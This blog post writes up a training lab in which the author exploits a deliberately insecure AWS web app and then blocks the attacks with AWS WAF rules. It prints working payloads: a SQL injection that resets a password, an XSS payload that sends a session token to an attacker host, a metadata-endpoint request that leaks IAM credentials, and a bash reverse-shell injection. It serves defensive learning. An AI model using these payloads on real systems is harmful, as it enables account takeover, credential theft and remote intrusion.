This blog is based on the hands-on lab Leveraging AWS WAF to Defend an Insecure Web App from QA's cloud security training platform. Special thanks to QA for providing such an insightful and practical experience.
🚀 Introduction
Modern web applications are highly dynamic and fast-moving, often deployed in cloud environments like AWS. With such speed, security can sometimes take a backseat during early product development. This can leave the application vulnerable to well-known attack vectors like SQL Injection, XSS, SSRF, and Remote Code Execution (RCE).
In this blog, I will walk you through a detailed, hands-on project where I acted as a Cloud Security Engineer to secure a deliberately insecure web application. The application was deployed using Terraform and hosted on AWS. My primary defense mechanism was AWS WAF (Web Application Firewall), which I used to detect and mitigate OWASP Top 10 vulnerabilities. This project not only demonstrated real-world exploits but also highlighted how WAF can be used as a first line of defense.
🌐 Architecture Overview
Before we dive into the attacks and defenses, let’s understand the application's infrastructure:
Before WAF
The app had no protections and was fully exposed to the internet. Here's a look at the architecture:
-
2 EC2 Instances:
-
ide.cloudacademy.platform.instance
: Used for deploying the infrastructure and coding. -
hacker.cloudacademy.platform.instance
: Used to simulate real-world attacks.
-
-
Application Load Balancer (ALB):
- Listens on port 80
- Forwards traffic to frontend (port 80) and backend API (port 8080)
-
Target Groups:
- One for React frontend (served with Nginx)
- One for Spring Boot backend (Java 17)
- PostgreSQL Database
After WAF
Once AWS WAF rules were in place, malicious requests were filtered at the ALB level, preventing them from ever reaching the EC2 instances.
🔧 Deploying the App
The infrastructure was provisioned using Terraform. Here's the process:
- Cloned the repositories:
git clone https://github.com/cloudacademy/insecure-webapp-infra.git
git clone https://github.com/cloudacademy/insecure-webapp.git
- Deployed the infra using:
cd insecure-webapp-infra && ls -la
terraform init
terraform apply
Terraform took care of provisioning:
- EC2 Instances
- ALB and Target Groups
- PostgreSQL
- Security Groups and IAM Roles
After deployment, I was able to access the application through the ALB DNS.
🚨 Identifying Vulnerabilities (Offensive Security)
Now the fun part: exploiting the app.
1. SQL Injection
The login page accepted SQL queries. I injected this payload into the username field:
alice'; update users set password=md5('qwerty123') --
This reset Alice's password, proving the SQL injection worked.
2. Cross-Site Scripting (XSS)
Using this payload in the comments section:
src='.' onerror=fetch('http://attacker-ip:22100/'+localStorage["ca.webapp.auth.session"])>
I was able to exfiltrate a logged-in user's JWT token to my attacker terminal.
3. Server-Side Request Forgery (SSRF)
The web app had a "Coder" feature that executed Python scripts. I ran this:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
I accessed the EC2 instance’s metadata and leaked temporary IAM credentials.
4. Remote Code Execution (RCE)
In the AsciiArt generator, I entered:
pwned; bash -i >& /dev/tcp/attacker-ip/443 0>&1
This opened a reverse shell to my attacker EC2, giving me root access.
🛡️ Defending with AWS WAF
After confirming each vulnerability, I turned to AWS WAF to build defenses.
Step 1: Create Web ACL
- Region:
us-west-2
- Associated with ALB
Step 2: Add Rules
Each rule was built using the Rule Builder:
✅ SQL Injection
- Inspect: JSON body
- Field:
/username
- Match type:
Contains SQL injection attacks
- Sensitivity: High
✅ XSS
- Inspect: JSON body
- Field:
/body
- Match type:
Contains XSS attacks
✅ SSRF
- Inspect:
/code
- Match regex:
169\.254\.169\.254
✅ Command Injection
- Inspect:
/text
- Regex:
[^a-zA-Z\d\s:]
- Matches characters like
;
,&
,|
, used in shell injections
All rules were set to Block.
🔍 Re-testing the Exploits (Defensive Validation)
I reran each attack with Developer Tools open.
- SQLi: Blocked with 403
- XSS: Blocked and stripped
- SSRF: No metadata leaked
- RCE: No reverse shell; connection refused
Each attack attempt was blocked before reaching the EC2 instance. WAF did its job.
💡 Key Takeaways
- Security must be built-in, even for MVPs.
- AWS WAF is powerful for layer 7 protections.
- Terraform helps scale consistent deployments.
- Detection and blocking should happen as early as possible in the request lifecycle.
📄 Resources
- Lab: QA - Leveraging AWS WAF to Defend an Insecure Web App
- AWS WAF Documentation
- CloudAcademy GitHub Repo - App
- CloudAcademy GitHub Repo - Infra
Thanks for reading! If you found this helpful, follow me for more cloud security projects and hands-on labs.